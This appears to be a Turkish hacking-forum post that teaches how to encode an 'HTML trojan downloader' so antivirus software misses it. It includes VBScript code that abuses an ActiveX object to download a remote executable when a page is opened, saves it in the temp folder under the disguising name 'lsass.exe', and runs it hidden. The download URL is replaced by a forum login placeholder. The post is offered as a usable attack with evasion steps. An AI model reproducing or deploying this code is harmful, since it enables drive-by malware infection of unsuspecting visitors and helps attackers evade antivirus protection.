Html Trojan Downloader Kodunu Encode yoluyla antilere yakalanmamayi gosterecegim.



[Linkleri görebilmek için üye olun veya giriş yapın.]


Siteye girip assagidaki verdigim kodu kendinize gore ayarlip sonrada siteye girip karsimiza acilan pencerede HTML Encoder yazisinin oraya kodlarimiz kendimize gore ayarlip kodu HTML Input: yazan bosluk yere yapistirip encode html tikladigimiz zaman


:Encoded HTML output:


kisimina htm komuzu encode edip bizlere veriyor..


sonra tek yapm?z gereken:


Kodu html haline getirmek icin kodu not defterine yapistirinz. Farkli kaydet deyip, kodun adini isim.htm veya isim.html yap?n...


Html trojan downloader kodLari Assagidadir.


< ****** language="VBScript">
on error resume next
Set obj1 = ********.createElement("object")
obj1.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
est1="Microsoft."&"_xmlHTTP"
Set obj2 = obj1.CreateObject(est1,"")


est="Ado"&"db."&"Str"&"eam"
set obj3 = obj1.createobject(est,"")
obj3.type = 1
est2="GET"
obj2.Open est2, "[Linkleri görebilmek için üye olun veya giriş yapın.] False
obj2.Send


set F = obj1.createobject("Scripting.FileSystemObject","")
set pasta = F.GetSpecialFolder(2)
fi="lsass.exe"
fi= F.BuildPath(pasta,fi)


obj3.open
obj3.write obj2.responseBody
obj3.savetofile fi,2
obj3.close


set obj5 = obj1.createobject("Shell.Application","")


obj5.ShellExecute fi,"","","open",0
< / ****** >